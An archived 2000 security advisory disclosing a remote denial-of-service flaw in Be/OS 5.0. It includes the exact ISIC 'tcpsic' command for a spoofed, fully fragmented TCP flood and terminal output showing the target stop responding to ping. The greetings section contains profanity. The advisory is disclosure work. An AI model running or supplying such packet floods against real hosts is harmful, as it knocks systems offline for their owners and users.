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beos5-dos.txt

beos5-dos.txt
Posted May 19, 2000
Authored by Visi0n | Site aux-tech.org

AUX Technologies Security Advisory - Be/OS Remote Denial of Service. The Be/OS Operating System version 5.0 has a vulnerability in the tcp fragmentation which can lock up the system, requiring a cold reset. The bug can be reproduced using ISIC-0.05.

tags | exploit, remote, denial of service, tcp
SHA-256 | 5ebd3591f9625aeabd9c74fdf640c918466886138b9473eb70cb816cd9b82463

beos5-dos.txt

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                                AUX Technologies.

Security Advisory.

Advisory: Remote Denial of Service against Be/OS.

Release Date: May 15, 2000.

Status: No fix yet.

Vulnerable version: Be/OS Personal 5.0 build feb 212000 4:43:00.

Vendor: Contacted and no answer.

Shoutz: AUX PPL(braSil rulez), dethl0k, cryonic, drk, grafspee and
mike frantzen(isic), a "fuck you" to sgi (stole codes is bad for your health).

Description:

The Be/OS Operating System version 5.0 have a vulnerability in the
tcp fragmentation which can lock up the entire system, needing a cold
reset to back work. The bug can be reproduced using the ISIC-0.05.

[root@localhost isic-0.05]# ping 10.0.1.46
PING 10.0.1.46 (10.0.1.46) from 10.0.3.5 : 56(84) bytes of data.
64 bytes from 10.0.1.46: icmp_seq=0 ttl=255 time=7.3 ms
64 bytes from 10.0.1.46: icmp_seq=1 ttl=255 time=1.8 ms

--- 10.0.1.46 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 1.8/4.5/7.3 ms
[root@localhost isic-0.05]# ./tcpsic -s 1.1.1.1 -d 10.0.1.46 -r 31337 -F100 -V0
-I0 -T0 -u0 -t0
Compiled against Libnet 1.0.1b
Installing Signal Handlers.
Seeding with 31337
No Maximum traffic limiter
Using random source ports.
Using random destination ports.
Bad IP Version = 0% IP Opts Pcnt = 0%
Frag'd Pcnt = 100% Urg Pcnt = 0%
Bad TCP Cksm = 0% TCP Opts Pcnt = 0%

1000 @ 1802.8 pkts/sec and 1174.6 k/s
2000 @ 1636.8 pkts/sec and 1105.5 k/s
3000 @ 2110.2 pkts/sec and 1396.4 k/s
4000 @ 1689.1 pkts/sec and 1105.4 k/s
Caught signal 2
Used random seed 31337
Wrote 5002 packets in 2.74s @ 1824.48 pkts/s
[root@localhost isic-0.05]# ping 10.0.1.46
PING 10.0.1.46 (10.0.1.46) from 10.0.3.5 : 56(84) bytes of data.

--- 10.0.1.46 ping statistics ---
11 packets transmitted, 0 packets received, 100% packet loss
[root@localhost isic-0.05]#

===============================================================================
visi0n
AUX Technologies
[www.aux-tech.org]

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